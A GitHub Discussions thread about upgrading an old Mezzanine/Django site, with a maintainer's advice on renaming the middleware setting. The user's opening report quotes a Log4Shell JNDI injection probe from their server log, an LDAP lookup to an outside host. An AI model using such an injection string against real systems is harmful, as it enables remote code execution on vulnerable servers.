-
Howdy. Mezzanine 4.3.1 here on Django 1.11.27. I haven't touched our Mezzanine set up in years I saw a Django 500 error this morning: Internal Server Error: /${jndi:ldap://1.1.1.1:8444/lx-ffff44b7f8c9bb0100a727cc61000000000f0721} This seems to be linked with the log4j vulnerability which we don't run. But, our system through a 500 error:
This seems to be related to Django-request. So this led me down a rabbit hole of seeing if I could upgrade that... So I did And with that, it upgraded Django to 3.2. Apparently I was still on 1.x (which I know is old) So then I thought I'd upgrade Mezzanine to 5.0. Which broke stuff. This seems to be the culprit:
Specifically, when I run I get this:
Any two cents on this? I can't seem to find much on Mezzanine 5 from an upgrade perspective, my sense is this isn't ready for production and I just happened to stumble into this and the rabbit hole is too deep for me right now. But I may have missed something. Grateful for any two cents, thank you. |
Beta Was this translation helpful? Give feedback.
Replies: 2 comments 1 reply
-
I suggest you compare your |
Beta Was this translation helpful? Give feedback.
-
Thank you @jerivas , and given all that you know about Mezzanine 5 - would you say "it's stable now" ? Or would you advise for waiting a bit? Thank you! |
Beta Was this translation helpful? Give feedback.
I suggest you compare your
local_settings.py
andsettings.py
files with the template files provided by Mezzanine. From the exception message it sounds like you have a missingMIDDLEWARE
setting so you are probably using the oldMIDDLEWARE_CLASSES
name. I would start by renaming that and see if that produces a new error.